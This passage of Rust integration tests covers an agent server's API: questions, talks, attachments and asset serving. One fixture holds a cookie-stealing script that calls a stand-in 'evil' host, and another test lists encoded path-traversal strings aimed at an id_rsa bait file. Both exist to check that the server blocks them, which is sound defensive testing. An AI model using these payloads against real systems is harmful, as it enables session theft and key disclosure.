4544 }
4545
4546 #[tokio::test]
4547 async fn an_html_asset_is_never_served_as_html() {
4548 let fx = Fixture::start().await;
4549 let id = panel(
4550 &fx,
4551 "<p>see the notes</p>",
4552 &[
4553 (
4554 "notes.html",
4555 b"<script>fetch('http://evil/'+document.cookie)</script>",
4556 ),
4557 ("hook.js", b"fetch('http://evil/')"),
4558 ("data.json", b"{}"),
4559 ("HEADLINE.TXT", b"plain"),
4560 ],
4561 );
4562
4563 for name in ["notes.html", "hook.js", "data.json"] {
4564 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
4565 assert_eq!(res.status, 200, "{name}: {}", res.body);
4566 assert_eq!(
4571 res.header("content-type"),
4572 Some("application/octet-stream"),
4573 "{name} must not be a type the browser will execute or render"
4574 );
4575 }
4576 let txt = fx
4579 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
4580 .await;
4581 assert_eq!(
4582 txt.header("content-type"),
4583 Some("text/plain; charset=utf-8")
4584 );
4585 }
4586
4587 #[tokio::test]
4588 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
4589 let fx = Fixture::start().await;
4590 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4591 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
4595
4596 for encoded in [
4603 "%2e%2e%2fid_rsa",
4604 "..%2fid_rsa",
4605 "..%5cid_rsa",
4606 "%2e%2e%5cid_rsa",
4607 "diff%00.svg",
4608 "..",
4609 ".hidden",
4610 "%2e%2e%2f%2e%2e%2fid_rsa",
4611 ] {
4612 let res = fx
4613 .get(&format!("/api/questions/{id}/asset/{encoded}"))
4614 .await;
4615 assert_eq!(
4616 res.status, 400,
4617 "`{encoded}` has to be refused by name, not looked up: {}",
4618 res.body
4619 );
4620 assert!(res.json()["error"].is_string(), "{}", res.body);
4621 }
4622
4623 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
4629 let res = fx
4630 .get(&format!("/api/questions/{id}/asset/{literal}"))
4631 .await;
4632 assert_eq!(
4633 res.status, 404,
4634 "`{literal}` must not match the asset route at all: {}",
4635 res.body
4636 );
4637 }
4638 }
4639
4640 #[tokio::test]
4641 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
4642 let fx = Fixture::start().await;
4643 let plain = ask(&fx, "Which backend?", &["SQLite"]);
4644 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4645
4646 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
4650 assert_eq!(none.status, 404, "{}", none.body);
4651 assert!(none.json()["error"].is_string(), "{}", none.body);
4652 assert_eq!(
4653 fx.head(&format!("/api/questions/{plain}/panel"))
4654 .await
4655 .status,
4656 404,
4657 "the preflight is the only way the client can learn this"
4658 );
4659
4660 let missing = fx
4662 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
4663 .await;
4664 assert_eq!(missing.status, 404, "{}", missing.body);
4665 assert!(missing.json()["error"].is_string(), "{}", missing.body);
4666
4667 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
4669 assert_eq!(
4670 fx.get("/api/questions/nope/asset/diff.svg").await.status,
4671 404
4672 );
4673 }
4674
4675 #[tokio::test]
4676 async fn a_run_with_an_open_question_reads_as_waiting() {
4677 let fx = Fixture::start().await;
4678 let run = "20260902-000000-beef".to_owned();
4679 write_run(&fx.runs(), &run, RunStatus::Implementing);
4680
4681 let before = fx.get("/api/runs").await.json();
4682 assert_eq!(before[0]["waiting"], false, "{before}");
4683
4684 let store = fx.questions();
4685 let mut q = Question::new(
4686 run.clone(),
4687 "implement".to_owned(),
4688 "impl-A".to_owned(),
4689 "Which backend?".to_owned(),
4690 String::new(),
4691 vec!["SQLite".to_owned()],
4692 );
4693 store.put(&mut q).expect("put");
4694
4695 let during = fx.get("/api/runs").await.json();
4696 assert_eq!(during[0]["waiting"], true, "{during}");
4697
4698 q.answer(Answer::Choice("SQLite".to_owned()))
4701 .expect("answer");
4702 store.put(&mut q).expect("put");
4703 let after = fx.get("/api/runs").await.json();
4704 assert_eq!(after[0]["waiting"], false, "{after}");
4705 }
4706
4707 #[tokio::test]
4708 async fn an_open_question_is_listed_and_counted_by_health() {
4709 let fx = Fixture::start().await;
4710 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4711
4712 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4713 let listed = fx.get("/api/questions").await.json();
4714 assert_eq!(listed.as_array().expect("array").len(), 1);
4715 assert_eq!(listed[0]["id"], id);
4716 assert_eq!(listed[0]["status"], "open");
4717 assert_eq!(listed[0]["choices"][1], "Redis");
4718 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4721 }
4722
4723 #[tokio::test]
4724 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
4725 let fx = Fixture::start().await;
4726 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4727 let path = format!("/api/questions/{id}/answer");
4728
4729 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
4730 assert_eq!(res.status, 200, "{}", res.body);
4731 let body = res.json();
4732 assert_eq!(body["status"], "answered");
4733 assert_eq!(body["answer"]["choice"], "Redis");
4734
4735 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
4739 assert_eq!(again.status, 409, "{}", again.body);
4740 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4741 }
4742
4743 #[tokio::test]
4744 async fn saying_something_appends_a_turn_without_answering() {
4745 let fx = Fixture::start().await;
4746 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4747 let path = format!("/api/questions/{id}/say");
4748
4749 let res = fx
4750 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
4751 .await;
4752 assert_eq!(res.status, 200, "{}", res.body);
4753 let body = res.json();
4754 assert_eq!(body["status"], "open", "talking back is not a decision");
4755 assert_eq!(body["answer"], Value::Null);
4756 assert_eq!(body["thread"][0]["who"], "operator");
4757 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
4758 assert_eq!(body["waiting_on_agent"], true);
4759 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4761 }
4762
4763 #[tokio::test]
4764 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
4765 let fx = Fixture::start().await;
4766 let store = fx.questions();
4767 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4768 assert_eq!(
4769 fx.get("/api/health").await.json()["questions_needs_owner"],
4770 1
4771 );
4772
4773 let res = fx
4779 .post(
4780 &format!("/api/questions/{id}/say"),
4781 Some(r#"{"body":"why not Postgres?"}"#),
4782 )
4783 .await;
4784 assert_eq!(res.status, 200, "{}", res.body);
4785 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4786 assert_eq!(
4787 fx.get("/api/health").await.json()["questions_needs_owner"],
4788 0,
4789 "waiting on the agent is not waiting on the owner"
4790 );
4791
4792 let mut q = store.get(&id).expect("get");
4796 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
4797 .expect("reply");
4798 store.put(&mut q).expect("put");
4799 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4800 assert_eq!(
4801 fx.get("/api/health").await.json()["questions_needs_owner"],
4802 1,
4803 "the agent's reply is what should light the banner back up"
4804 );
4805 }
4806
4807 #[tokio::test]
4808 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
4809 let fx = Fixture::start().await;
4810 let store = fx.questions();
4811
4812 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4813 let res = fx
4814 .post(
4815 &format!("/api/questions/{empty_id}/say"),
4816 Some(r#"{"body":" "}"#),
4817 )
4818 .await;
4819 assert_eq!(res.status, 400, "{}", res.body);
4820
4821 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4822 let mut answered = store.get(&answered_id).expect("get");
4823 answered
4824 .answer(Answer::Choice("SQLite".to_owned()))
4825 .expect("answer");
4826 store.put(&mut answered).expect("put");
4827 let res = fx
4828 .post(
4829 &format!("/api/questions/{answered_id}/say"),
4830 Some(r#"{"body":"still there?"}"#),
4831 )
4832 .await;
4833 assert_eq!(res.status, 409, "{}", res.body);
4834
4835 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4836 let mut abandoned = store.get(&abandoned_id).expect("get");
4837 abandoned.abandon("timed out");
4838 store.put(&mut abandoned).expect("put");
4839 let res = fx
4840 .post(
4841 &format!("/api/questions/{abandoned_id}/say"),
4842 Some(r#"{"body":"still there?"}"#),
4843 )
4844 .await;
4845 assert_eq!(res.status, 409, "{}", res.body);
4846 }
4847
4848 #[tokio::test]
4849 async fn an_answer_the_question_does_not_offer_is_refused() {
4850 let fx = Fixture::start().await;
4851 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4852 let path = format!("/api/questions/{id}/answer");
4853
4854 for body in [
4855 r#"{"choice":"Postgres"}"#,
4856 r#"{"text":"whatever you think"}"#,
4857 r#"{"choice":"Redis","text":"both"}"#,
4858 r#"{}"#,
4859 ] {
4860 let res = fx.post(&path, Some(body)).await;
4861 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
4862 assert!(res.json()["error"].is_string(), "{}", res.body);
4863 }
4864 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4866 }
4867
4868 #[tokio::test]
4869 async fn a_free_text_question_takes_text_and_not_a_choice() {
4870 let fx = Fixture::start().await;
4871 let id = ask(&fx, "What should the flag be called?", &[]);
4872 let path = format!("/api/questions/{id}/answer");
4873
4874 assert_eq!(
4875 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
4876 400
4877 );
4878 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
4879 assert_eq!(res.status, 200, "{}", res.body);
4880 assert_eq!(res.json()["answer"]["text"], "--json");
4881 }
4882
4883 #[tokio::test]
4884 async fn an_unknown_question_is_a_json_404() {
4885 let fx = Fixture::start().await;
4886 let res = fx
4887 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
4888 .await;
4889 assert_eq!(res.status, 404, "{}", res.body);
4890 assert!(res.json()["error"].is_string());
4891 }
4892
4893 #[tokio::test]
4900 async fn a_task_cannot_be_filed_over_the_phone_directly() {
4901 let f = Fixture::start().await;
4902
4903 let res = f
4904 .post(
4905 "/api/queue",
4906 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
4907 )
4908 .await;
4909
4910 assert_eq!(
4911 res.status, 405,
4912 "POST /api/queue must not be a route: {}",
4913 res.body
4914 );
4915 assert!(
4916 f.queue().list().is_empty(),
4917 "a task filed by a route that does not exist must not reach the disk"
4918 );
4919 assert_eq!(f.get("/api/queue").await.status, 200);
4922 }
4923
4924 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
4926 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
4927 .expect("checkout dir");
4928 }
4929
4930 #[tokio::test]
4931 async fn repos_list_returns_name_and_path_for_every_configured_root() {
4932 let tmp = TempDir::new().expect("tempdir");
4933 let repo = tmp.path().join("repo");
4934 std::fs::create_dir_all(&repo).expect("repo dir");
4935 let root = tmp.path().join("root");
4936 make_checkout(&root, "github.com", "yukimemi", "magi");
4937 std::fs::write(
4938 repo.join("magi.toml"),
4939 format!(
4940 "[repos]\nroots = [{:?}]\n",
4941 root.to_string_lossy().into_owned()
4942 ),
4943 )
4944 .expect("write magi.toml");
4945
4946 let f = Fixture::with_repo(repo).await;
4947 let res = f.get("/api/repos").await;
4948 assert_eq!(res.status, 200, "{}", res.body);
4949 let list = res.json();
4950 let repos = list.as_array().expect("an array");
4951 assert_eq!(repos.len(), 1);
4952 assert_eq!(repos[0]["name"], "yukimemi/magi");
4953 assert!(
4954 repos[0]["path"]
4955 .as_str()
4956 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
4957 "{list}"
4958 );
4959 }
4960
4961 #[tokio::test]
4962 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
4963 let tmp = TempDir::new().expect("tempdir");
4964 let repo = tmp.path().join("repo");
4965 std::fs::create_dir_all(&repo).expect("repo dir");
4966 let root = tmp.path().join("root");
4967 make_checkout(&root, "github.com", "yukimemi", "magi");
4968 std::fs::write(
4969 repo.join("magi.toml"),
4970 format!(
4971 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
4972 root.to_string_lossy().into_owned()
4973 ),
4974 )
4975 .expect("write magi.toml");
4976
4977 let f = Fixture::with_repo(repo).await;
4978 let first = f.get("/api/repos").await;
4979 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
4980
4981 make_checkout(&root, "github.com", "yukimemi", "rvpm");
4984 let second = f.get("/api/repos").await;
4985 assert_eq!(
4986 second.json().as_array().map(Vec::len),
4987 Some(1),
4988 "a fresh cache must not rescan inside the TTL"
4989 );
4990
4991 let refreshed = f.get("/api/repos?refresh=1").await;
4992 assert_eq!(
4993 refreshed.json().as_array().map(Vec::len),
4994 Some(2),
4995 "an explicit refresh must rescan even inside the TTL"
4996 );
4997 }
4998
4999 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5005
5006 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5010 let tmp = TempDir::new().expect("tempdir");
5011 let repo = tmp.path().join("repo");
5012 std::fs::create_dir_all(&repo).expect("repo dir");
5013 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5014 let f = Fixture::with_repo(repo.clone()).await;
5015 (tmp, repo, f)
5016 }
5017
5018 #[tokio::test]
5019 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5020 let (_tmp, _repo, f) = talk_fixture().await;
5021
5022 let opened = f.post("/api/talks", None).await;
5025 assert_eq!(opened.status, 201, "{}", opened.body);
5026 let body = opened.json();
5027 assert_eq!(body["status"], "open");
5028 assert_eq!(
5029 body["turns"].as_array().unwrap().len(),
5030 0,
5031 "opening takes no agent turn: there is nothing yet to answer"
5032 );
5033
5034 let also_opened = f.post("/api/talks", Some("{}")).await;
5036 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
5037
5038 let listed = f.get("/api/talks").await.json();
5039 assert_eq!(listed.as_array().unwrap().len(), 2);
5040 }
5041
5042 #[tokio::test]
5043 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
5044 let f = Fixture::start().await;
5045 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
5046 let queue = f.queue();
5047 let mut mine = Task::new(
5048 "rename the loader".to_owned(),
5049 "rename the loader".to_owned(),
5050 PathBuf::from("/repo/magi"),
5051 Source::Agent {
5052 run: talk_id.clone(),
5053 node: "chat".to_owned(),
5054 },
5055 );
5056 queue.put(&mut mine).expect("file the task");
5057 let mut theirs = Task::new(
5058 "unrelated".to_owned(),
5059 "unrelated".to_owned(),
5060 PathBuf::from("/repo/magi"),
5061 Source::Human,
5062 );
5063 queue.put(&mut theirs).expect("file the task");
5064
5065 let res = f.get(&format!("/api/talks/{talk_id}")).await;
5066 assert_eq!(res.status, 200, "{}", res.body);
5067 let body = res.json();
5068 assert_eq!(
5069 body["status"], "open",
5070 "filing a task does not close a talk"
5071 );
5072 let tasks = body["tasks"].as_array().expect("tasks array");
5073 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
5074 assert_eq!(tasks[0]["id"], mine.id);
5075 }
5076
5077 #[tokio::test]
5078 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
5079 let (_tmp, _repo, f) = talk_fixture().await;
5080 let id = f.post("/api/talks", None).await.json()["id"]
5081 .as_str()
5082 .expect("id")
5083 .to_owned();
5084
5085 let res = f
5086 .post(
5087 &format!("/api/talks/{id}/say"),
5088 Some(r#"{"text":"what does the queue module do?"}"#),
5089 )
5090 .await;
5091 assert_eq!(res.status, 202, "{}", res.body);
5092 let queued = res.json();
5093 let turns = queued["turns"].as_array().expect("turns array");
5094 assert_eq!(
5095 turns.len(),
5096 1,
5097 "the answer reflects only what is on disk the instant it is sent, \
5098 before the agent's turn - which can run for the whole of \
5099 `[graph] timeout_talk` - has a chance to land: {queued}"
5100 );
5101 assert_eq!(turns[0]["who"], "operator");
5102 assert_eq!(turns[0]["body"], "what does the queue module do?");
5103 assert_eq!(
5104 queued["thinking"], true,
5105 "the accepted response exposes the background turn claim: {queued}"
5106 );
5107
5108 let mut turns_after = 1;
5109 for _ in 0..200 {
5110 let detail = f.get(&format!("/api/talks/{id}")).await.json();
5111 turns_after = detail["turns"].as_array().expect("turns array").len();
5112 if turns_after == 2 {
5113 break;
5114 }
5115 tokio::time::sleep(Duration::from_millis(10)).await;
5116 }
5117 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
5118 }
5119
5120 #[tokio::test]
5121 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
5122 let (_tmp, _repo, f) = talk_fixture().await;
5123 let id = f.post("/api/talks", None).await.json()["id"]
5124 .as_str()
5125 .expect("id")
5126 .to_owned();
5127 let store = f.talks();
5128 let mut recovered = store.get(&id).expect("opened talk");
5129 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5130 .expect("persist pending draft without a live turn");
5131
5132 let edited = f
5133 .post(
5134 &format!("/api/talks/{id}/pending/edit"),
5135 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
5136 )
5137 .await;
5138 assert_eq!(edited.status, 200, "{}", edited.body);
5139 assert!(edited.json()["thinking"].as_bool().unwrap());
5140
5141 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
5142 for _ in 0..200 {
5143 if detail["turns"].as_array().expect("turns").len() == 2 {
5144 break;
5145 }
5146 tokio::time::sleep(Duration::from_millis(10)).await;
5147 detail = f.get(&format!("/api/talks/{id}")).await.json();
5148 }
5149 let turns = detail["turns"].as_array().expect("turns");
5150 assert_eq!(
5151 turns.len(),
5152 2,
5153 "the recovered draft must run once: {detail}"
5154 );
5155 assert_eq!(turns[0]["body"], "corrected");
5156 assert_eq!(detail["pending"], "");
5157 }
5158
5159 #[tokio::test]
5160 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
5161 let tmp = TempDir::new().expect("tempdir");
5162 let repo = tmp.path().join("repo");
5163 std::fs::create_dir_all(&repo).expect("repo dir");
5164 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5165 let f = Fixture::with_repo(repo).await;
5166 let id = f.post("/api/talks", None).await.json()["id"]
5167 .as_str()
5168 .expect("id")
5169 .to_owned();
5170 let store = f.talks();
5171 let mut recovered = store.get(&id).expect("opened talk");
5172 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5173 .expect("persist pending draft without a live turn");
5174
5175 let refused = f
5176 .post(
5177 &format!("/api/talks/{id}/say"),
5178 Some(r#"{"text":"new message"}"#),
5179 )
5180 .await;
5181 assert_eq!(refused.status, 409, "{}", refused.body);
5182 assert!(refused.body.contains("resume"), "{}", refused.body);
5183 let saved = store.get(&id).expect("draft remains after refusal");
5184 assert!(saved.turns.is_empty());
5185 assert_eq!(saved.pending, "saved before restart");
5186
5187 let say_path = format!("/api/talks/{id}/say");
5188 let (first, second) = tokio::join!(
5189 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
5190 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
5191 );
5192 assert_eq!(first.status, 409, "{}", first.body);
5193 assert_eq!(second.status, 409, "{}", second.body);
5194 let saved = store
5195 .get(&id)
5196 .expect("draft remains after concurrent refusals");
5197 assert!(saved.turns.is_empty());
5198 assert_eq!(saved.pending, "saved before restart");
5199
5200 let resumed = f
5201 .post(&format!("/api/talks/{id}/pending/resume"), None)
5202 .await;
5203 assert_eq!(resumed.status, 202, "{}", resumed.body);
5204 let duplicate = f
5205 .post(&format!("/api/talks/{id}/pending/resume"), None)
5206 .await;
5207 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
5208
5209 for _ in 0..200 {
5210 if store.get(&id).expect("talk").turns.len() == 2 {
5211 break;
5212 }
5213 tokio::time::sleep(Duration::from_millis(10)).await;
5214 }
5215 let finished = store.get(&id).expect("finished talk");
5216 assert_eq!(finished.turns.len(), 2, "{finished:?}");
5217 assert_eq!(finished.turns[0].body, "saved before restart");
5218 assert!(finished.pending.is_empty());
5219 }
5220
5221 #[tokio::test]
5222 async fn an_image_only_recovered_draft_resumes_without_text() {
5223 let (_tmp, _repo, f) = talk_fixture().await;
5224 let id = f.post("/api/talks", None).await.json()["id"]
5225 .as_str()
5226 .expect("id")
5227 .to_owned();
5228 let uploaded = f
5229 .post_bytes(
5230 &format!("/api/talks/{id}/attachments"),
5231 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
5232 PNG_BYTES,
5233 )
5234 .await;
5235 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5236 let attachment = f
5237 .talks()
5238 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
5239 .expect("attachment metadata")
5240 .expect("stored attachment");
5241 let store = f.talks();
5242 let mut recovered = store.get(&id).expect("opened talk");
5243 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
5244
5245 let resumed = f
5246 .post(&format!("/api/talks/{id}/pending/resume"), None)
5247 .await;
5248 assert_eq!(resumed.status, 202, "{}", resumed.body);
5249 for _ in 0..200 {
5250 if store.get(&id).expect("talk").turns.len() == 2 {
5251 break;
5252 }
5253 tokio::time::sleep(Duration::from_millis(10)).await;
5254 }
5255 let finished = store.get(&id).expect("finished talk");
5256 assert_eq!(finished.turns.len(), 2, "{finished:?}");
5257 assert!(finished.turns[0].body.is_empty());
5258 assert_eq!(finished.turns[0].attachments.len(), 1);
5259 assert!(finished.pending_attachments.is_empty());
5260 }
5261
5262 #[tokio::test]
5263 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
5264 let (_tmp, _repo, f) = talk_fixture().await;
5265 let id = f.post("/api/talks", None).await.json()["id"]
5266 .as_str()
5267 .expect("id")
5268 .to_owned();
5269 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5270 assert_eq!(closed.status, 200, "{}", closed.body);
5271 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5272 .expect("serialize closed talk");
5273 for (path, body) in [
5274 (format!("/api/talks/{id}/pending/resume"), None),
5275 (
5276 format!("/api/talks/{id}/pending/clear"),
5277 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
5278 ),
5279 (
5280 format!("/api/talks/{id}/pending/edit"),
5281 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
5282 ),
5283 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
5284 ] {
5285 let response = f.post(&path, body).await;
5286 assert_eq!(response.status, 409, "{}", response.body);
5287 }
5288 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5289 .expect("serialize closed talk");
5290 assert_eq!(
5291 after_clear, before_clear,
5292 "clear must not rewrite a closed talk"
5293 );
5294 }
5295
5296 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
5299
5300 #[tokio::test]
5301 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
5302 let tmp = TempDir::new().expect("tempdir");
5303 let repo = tmp.path().join("repo");
5304 std::fs::create_dir_all(&repo).expect("repo dir");
5305 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5306 let f = Fixture::with_repo(repo).await;
5307 let id_a = f.post("/api/talks", None).await.json()["id"]
5308 .as_str()
5309 .unwrap()
5310 .to_owned();
5311 let id_b = f.post("/api/talks", None).await.json()["id"]
5312 .as_str()
5313 .unwrap()
5314 .to_owned();
5315
5316 let a = f
5317 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
5318 .await;
5319 assert_eq!(a.status, 202, "{}", a.body);
5320 assert_eq!(a.json()["thinking"], true);
5321 let b = f
5322 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
5323 .await;
5324 assert_eq!(b.status, 202, "{}", b.body);
5325 assert_eq!(b.json()["thinking"], true);
5326
5327 let listed = f.get("/api/talks").await.json();
5328 for id in [&id_a, &id_b] {
5329 let view = listed
5330 .as_array()
5331 .unwrap()
5332 .iter()
5333 .find(|talk| talk["id"] == *id)
5334 .unwrap();
5335 assert_eq!(view["thinking"], true, "{listed}");
5336 }
5337 let repeated = f
5338 .post(
5339 &format!("/api/talks/{id_a}/say"),
5340 Some(r#"{"text":"again"}"#),
5341 )
5342 .await;
5343 assert_eq!(repeated.status, 202, "{}", repeated.body);
5344 assert_eq!(repeated.json()["pending"], "again");
5345 }
5346
5347 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
5350
5351 #[tokio::test]
5352 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
5353 let f = Fixture::start().await;
5354 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
5355
5356 let res = f
5357 .post_bytes(
5358 &format!("/api/talks/{id}/attachments"),
5359 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5360 PNG_BYTES,
5361 )
5362 .await;
5363 assert_eq!(res.status, 201, "{}", res.body);
5364 let body = res.json();
5365 assert_eq!(body["name"], "shot.png");
5366 assert_eq!(body["mime"], "image/png");
5367 assert_eq!(body["bytes"], PNG_BYTES.len());
5368 let att_id = body["id"].as_str().expect("id").to_owned();
5369 assert_eq!(
5370 att_id.len(),
5371 32,
5372 "the id must never be a client-suppliable path: {att_id}"
5373 );
5374
5375 let got = f
5376 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
5377 .await;
5378 assert_eq!(got.status, 200, "{}", got.body);
5379 assert_eq!(got.header("content-type"), Some("image/png"));
5380 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
5381 assert_eq!(got.bytes, PNG_BYTES);
5382 }
5383
5384 #[tokio::test]
5385 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
5386 let f = Fixture::start().await;
5387 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
5388
5389 let svg = f
5392 .post_bytes(
5393 &format!("/api/talks/{id}/attachments"),
5394 &[("Content-Type", "image/svg+xml")],
5395 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
5396 )
5397 .await;
5398 assert!(
5399 (400..500).contains(&svg.status),
5400 "svg must be refused: {} {}",
5401 svg.status,
5402 svg.body
5403 );
5404 assert!(svg.body.contains("SVG"), "{}", svg.body);
5405
5406 let text = f
5407 .post_bytes(
5408 &format!("/api/talks/{id}/attachments"),
5409 &[("Content-Type", "text/plain")],
5410 b"just some text",
5411 )
5412 .await;
5413 assert!(
5414 (400..500).contains(&text.status),
5415 "an unlisted type must be refused: {} {}",
5416 text.status,
5417 text.body
5418 );
5419
5420 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
5423 let big = f
5424 .post_bytes(
5425 &format!("/api/talks/{id}/attachments"),
5426 &[("Content-Type", "image/png")],
5427 &oversized,
5428 )
5429 .await;
5430 assert_eq!(
5431 big.status,
5432 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
5433 "{}",
5434 big.body
5435 );
5436 }
5437
5438 #[tokio::test]
5439 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
5440 let f = Fixture::start().await;
5441 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
5442
5443 let res = f
5446 .post_bytes(
5447 &format!("/api/talks/{id}/attachments"),
5448 &[("Content-Type", "image/png")],
5449 b"<html>not a picture</html>",
5450 )
5451 .await;
5452 assert!((400..500).contains(&res.status), "{}", res.body);
5453 }
5454
5455 #[tokio::test]
5456 async fn an_unknown_attachment_id_is_a_404() {
5457 let f = Fixture::start().await;
5458 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
5459
5460 let res = f
5461 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
5462 .await;
5463 assert_eq!(res.status, 404, "{}", res.body);
5464 }
5465
5466 #[tokio::test]
5467 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
5468 let f = Fixture::start().await;
5469 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
5470
5471 let uploaded = f
5472 .post_bytes(
5473 &format!("/api/talks/{id}/attachments"),
5474 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5475 PNG_BYTES,
5476 )
5477 .await;
5478 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5479 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
5480
5481 let res = f
5482 .post(
5483 &format!("/api/talks/{id}/say"),
5484 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
5485 )
5486 .await;
5487 assert_eq!(res.status, 202, "{}", res.body);
5488 let queued = res.json();
5489 let turns = queued["turns"].as_array().expect("turns array");
5490 assert_eq!(
5491 turns.len(),
5492 1,
5493 "an empty body with an attachment is still a turn: {queued}"
5494 );
5495 assert_eq!(turns[0]["who"], "operator");
5496 assert_eq!(turns[0]["body"], "");
5497 let atts = turns[0]["attachments"]
5498 .as_array()
5499 .expect("attachments array");
5500 assert_eq!(atts.len(), 1);
5501 assert_eq!(atts[0]["id"], att_id);
5502 assert_eq!(atts[0]["mime"], "image/png");
5503
5504 let on_disk = f.talks().get(&id).expect("get");
